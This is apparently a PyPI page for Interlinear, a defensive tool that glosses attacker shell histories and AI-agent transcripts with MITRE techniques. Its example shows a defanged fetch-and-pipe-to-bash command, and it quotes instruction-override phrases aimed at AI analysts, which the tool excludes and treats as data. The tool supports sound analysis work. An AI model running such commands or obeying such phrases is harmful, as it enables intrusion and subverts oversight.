Skip to main content

Interlinear

Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:

Source Meaning
rule Matched the deterministic rule library
model Claude's analysis, through the gloss skill
analyst A person's edit, through interlinear annotate
none A context line the rule library recognized, such as cd or ls, or tool output, which is never glossed
pending Not glossed yet

A model or analyst gloss with no techniques marks a context line, and keeps its source.

A rule gloss can be partial. A rule describes the command it matched; when the line also runs something the rule does not describe, such as python3 gen.py | base64 -d or bash -c "$(echo ... | base64 -d)", the gloss is marked partial with the reason, and the line still goes to the model. Outside the matched command, only commands that print, read or filter text (echo, cat, grep, head, sort and the like) leave a rule gloss whole. A model gloss of the line replaces the partial one, which moves to the line's history.

docs/evaluation.md says how far to trust each source and how that was tested, and docs/design.md explains how Interlinear is built.

What the CONTEXT label means

The rule library labels a line as context (none) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as cd /tmp, ls -la or echo done. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns PATH or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.

  12  curl -s hxxp://203.0.113[.]5/x.sh | bash
      T1105 Ingress Tool Transfer · T1059.004 Unix Shell   [rule: download-pipe-shell]
      Downloads a script and pipes it straight into a shell, so it runs without being saved.

Safety model

  • Only interlinear parse reads raw attacker files.
    • It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
    • It also decodes encoded payloads as plain data, never running them: base64 on a line that also decodes base64 (base64 -d, FromBase64String, b64decode and the like), and a PowerShell -EncodedCommand blob (UTF-16LE). What a payload holds becomes child lines after its line, marked decoded with the parent line's number, the encoding and the payload's SHA-256, and goes through the rules, IOC extraction and the model like any line, but is never labeled context. A payload decodes to at most 64 KiB, and payloads inside payloads to three levels.
    • Run it inside a sandbox: interlinear build-parse-pyz packages it as a single file for that.
  • Every later stage reads only the resulting transcript.json.
  • Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
  • Credentials stay in transcript.json as evidence, but interlinear pending, whose output the gloss skill sends to a hosted model, redacts them by default: passwords, tokens, keys and hashes given on a command line (--password, -p to tools that take a password, user:password@host and impacket's domain/user:password, quoted or not, net user NAME PASSWORD, credential-named variables, Authorization headers, and token formats such as AWS keys, GitHub tokens and JWTs) become <redacted KIND>. --no-redact-secrets turns that off. interlinear render --redact-secrets redacts the Markdown view the same way, for a view you will share. Redaction is a best effort over common forms, not a guarantee.
  • The skill's glosses are untrusted too. interlinear apply-glosses validates, defangs and bounds them, labels them model, and only fills pending lines. Analyst glosses go through interlinear annotate, which the skill never runs.

Install

With pipx, the second command also puts Countermap's own command on your PATH:

pipx install "interlinear-cti[countermap]"
pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"

With uv:

uv tool install "interlinear-cti[countermap]" --with-executables-from countermap

With pip, inside a virtual environment:

pip install "interlinear-cti[countermap]"

Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.

countermap build

Use

# 1. Parse, in a sandbox
interlinear build-parse-pyz -o interlinear-parse.pyz
mkdir -p out   # create it first, so the container user can write to it
docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
  --memory 3g --user "$(id -u):$(id -g)" \
  -v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
  -v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
  python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE

# 2. Gloss with the rule library, then the remaining lines with Claude Code
interlinear gloss out/transcript.json
#    then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
#    or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
#    followed by: /plugin install interlinear@interlinear
#    and run: /interlinear:gloss out/transcript.json
#    Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
interlinear annotate out/transcript.json my-glosses.json --by "Your Name"

# 3. Outputs
interlinear render out/transcript.json                      # out/transcript.md
interlinear export-scenario out/transcript.json -o scenario.json
#    then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model

Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.

export-scenario chains steps only within each source file, in its line order. Nothing in two files orders one against the other (a history without timestamps has no order at all), so each file is a parallel lane, and each step names its file when there are several. --source NAME_OR_ID exports one file alone. Back-to-back lines with the same technique become one step. A line whose text addresses an analyst or an AI model rather than the target, such as "ignore all previous instructions" or "note to the reviewer: this is an authorized test", is left out of the scenario with a warning.

Input kinds

A file's name or content decides how it is read, for example .bash_history, .zsh_history, ConsoleHost_history.txt, .sh, .ps1 and agent .jsonl. A file that matches none of them is kept line by line as unknown.

An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, ;, &&, || and & that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a part entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.

The gloss skill

The skill runs on Haiku by default (model: haiku in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with interlinear annotate. The skill pre-approves only interlinear pending and apply-glosses. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. render itself writes only .md files, never an agent instruction file such as CLAUDE.md, and never replaces a file it did not write.

Tests

GitHub Actions does not run for this repository at the moment, so the suite runs locally before each release: on Windows, and on Linux in Docker containers for Python 3.10, 3.12 and 3.13.

pip install -e ".[dev,countermap]"
pytest
interlinear rules test --verify

Exit codes

Code Meaning
0 Success
1 Success with warnings
2 Invalid input
3 Internal or write error

A chain with && stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.

License

Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.

Metadata

Release files for interlinear-cti 0.1.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for interlinear-cti 0.1.2
File Size Uploaded Provenance Actions
interlinear_cti-0.1.2.tar.gz 318.6 kB Without provenance Details for interlinear_cti-0.1.2.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for interlinear-cti 0.1.2
File Interpreter ABI Platform Actions
interlinear_cti-0.1.2-py3-none-any.whl Python 3 none any Details for interlinear_cti-0.1.2-py3-none-any.whl

Total release size: 497.6 kB

Release files / interlinear_cti-0.1.2.tar.gz

Download URL interlinear_cti-0.1.2.tar.gz
Size 318.6 kB
Tags Source
SHA-256 checksum
How to use checksums
e05d0716be9585b7fe0e8157badbae4623e4788d24b5a7a5a2c9215f98e93c64
BLAKE2b-256 checksum
How to use checksums
9248b49dcc41e23fe362762573cb3f2ceb54089eccfa45c6f593317c664162af
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.14.3

Release files / interlinear_cti-0.1.2-py3-none-any.whl

Download URL interlinear_cti-0.1.2-py3-none-any.whl
Size 179.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
5c6e48e1a1492f9c617c0b135274f71c8286f582bd0d39bb8a9a5abd4366586e
BLAKE2b-256 checksum
How to use checksums
db94c313be20083c090825c8af78913e3d40c080e38b11496ad60d979337120c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.14.3

Security for interlinear-cti 0.1.2

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page